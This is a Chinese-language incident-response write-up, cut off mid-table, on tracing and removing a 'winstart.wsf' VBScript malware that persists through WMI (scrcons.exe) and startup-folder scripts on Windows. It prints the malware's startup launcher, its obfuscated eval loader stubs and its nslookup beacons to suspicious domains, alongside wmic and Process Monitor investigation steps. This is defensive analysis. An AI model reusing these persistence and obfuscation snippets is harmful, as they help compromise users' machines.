0x00 背景
發現感染了winstart.wsf 病毒如何清理。
0x01 現象
遍歷Users下每個目錄以及C:\和C:\Windows\Temp 2個目錄寫入病毒文件。
C:\Users\Administrator\AppData\Local\Temp\winstart.wsf
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\win.wsf
C:\Users\userA\AppData\Local\Temp\winstart.wsf
C:\Users\userA\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\win.wsf
C:\Users\Default\AppData\Local\Temp\winstart.wsf (我將Temp完整文件夾刪除后不再創建，Temp\winstart.wsf Temp\Temp.Temp)
C:\autoexec.wsf
C:\Windows\Temp\winstart.wsf
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\win.wsf內容如下
<job> <objectid="w"progid="WScript.Shell"/>
<scriptlanguage="VBScript">
tempPath = w.expandenvironmentstrings("%TEMP%") & "\winstart.wsf" homeDrivePath = w.expandenvironmentstrings("%HOMEDRIVE%") & "\autoexec.wsf"
homePath = w.expandenvironmentstrings("%HOME%") & "\winstart.wsf"
w.run "wscript.exe //B " & Chr(34) & tempPath & Chr(34)
w.run "wscript.exe //B " & Chr(34) & homeDrivePath & Chr(34)
w.run "wscript.exe //B " & Chr(34) & homePath & Chr(34)
</script> </job>
%TEMP%\winstart.wsf內容如下
PNG<job id="EYPGTeN"><script language="VBScript" src="TMP.TMP">eval("ex"&"ecut"&"e(EYPGTeNeXe)=1")</Script></job>
%HOMEDRIVE%\autoexec.wsf
PNG<job id="EYPGTeN"><script language="VBScript" src="TMP.TMP">eval("ex"&"ecut"&"e(EYPGTeNeXe)=1")</Script></job>
%HOME%\winstart.wsf
PNG<job id="EYPGTeN"><script language="VBScript" src="TMP.TMP">eval("ex"&"ecut"&"e(EYPGTeNeXe)=1")</Script></job>
以上文件刪除之后重新覆蓋生成。
0x02 排查
通過wmi 定位子程序和父程序：
wmic process where "name='wscript.exe'" get processid,ParentProcessId,commandline
有2個程序
| commandline | ParentProcessId | ParentProcessId |
| "C:\Windows\System32\wscript.exe" //B "C:\Windows\TEMP\winstart.wsf" | 6208 | 5496 |
| "C:\Windows\System32\wscript.exe" "C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\win.wsf" | 11372 | 14188 |
6208父進程無法在任務管理器看到 (可能是啟動完父進程就結束了)
用processmon 抓包 Process Name: wscript.exe Operation: Process Create
有dns出網行為
| Process Name | Operation | Path | Detail |
| wscript.exe | Process Create | C:\Windows\System32\cmd.exe | PID: 8984, Command line: "C:\Windows\System32\cmd.exe" /c nslookup a1.airobotheworld.com>>C:\Windows\TEMP\~cmdscript.tmp |
| wscript.exe | Process Create | C:\Windows\System32\cmd.exe | PID: 12140, Command line: "C:\Windows\System32\cmd.exe" /c nslookup a1.aigoingtokill.club>>C:\Windows\TEMP\~cmdscript.tmp |
| wscript.exe | Process Create | C:\Windows\System32\cmd.exe | PID: 11084, Command line: "C:\Windows\System32\cmd.exe" /c nslookup a1.6cs6.club>>C:\Windows\TEMP\~cmdscript.tmp |
Process Name: scrcons.exe Operation: Process Create
| Process Name | Operation | Path | Detail |
| scrcons.exe | Process Create | C:\Windows\System32\wscript.exe | PID: 912, Command line: "C:\Windows\System32\wscript.exe" //B "C:\Windows\TEMP\winstart.wsf" |
進程鏈：
svchost.exe -> scrcons.exe -> wscript.exe
1).scrcons.exe 進程動作
(向很多目錄寫wsf文件，遍歷Users下每個目錄以及C:\和C:\Windows\Temp 2個目錄)：
C:\Users\Administrator\AppData\Local\Temp\winstart.wsf
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\win.wsf
C:\Users\userA\AppData\Local\Temp\winstart.wsf
C:\Users\userA\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\win.wsf
C:\Users\Default\AppData\Local\Temp\winstart.wsf (我將Temp完整文件夾刪除后不再創建，Temp\winstart.wsf Temp\Temp.Temp)
C:\autoexec.wsf
C:\Windows\Temp\TMP.TMP
C:\Windows\Temp\winstart.wsf
同時寫注冊表：winstart
winstart.wsf 內容：
PNG<job id="oesDllY"><script language="VBScript" src="TMP.TMP">eval("ex"&"ecut"&"e(oesDllYeXe)=1")</Script></job>
2).wscript.exe 進程動作：
PID: 8984, Command line: "C:\Windows\System32\cmd.exe" /c nslookup a1.airobotheworld.com>>C:\Windows\TEMP\~cmdscript.tmp
PID: 12140, Command line: "C:\Windows\System32\cmd.exe" /c nslookup a1.aigoingtokill.club>>C:\Windows\TEMP\~cmdscript.tmp
PID: 11084, Command line: "C:\Windows\System32\cmd.exe" /c nslookup a1.6cs6.club>>C:\Windows\TEMP\~cmdscript.tmp
2.1.檢查開機啟動項:
任務管理器-啟動- 查看啟動項
發現有開機啟動項 wscript.exe
kill任務管理器中 wscript.exe
wmic process where "name='wscript.exe'" get processid,ParentProcessId,commandline
CommandLine ParentProcessId ProcessId
沒有可用實例
刪除注冊表中
計算機\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run winstart鍵值 失敗
猜測 scrcons.exe 被注入進程，執行 WriteFile (后重啟無效，方向錯誤)
執行的動作是遍歷Users下每個目錄以及C:\和C:\Windows\Temp 2個目錄：
AppData\Local 和 AppData\Roaming 主要區別：
| 特性 | AppData\Local | AppData\Roaming |
| 數據范圍 | 本地計算機相關 | 用戶 |
)
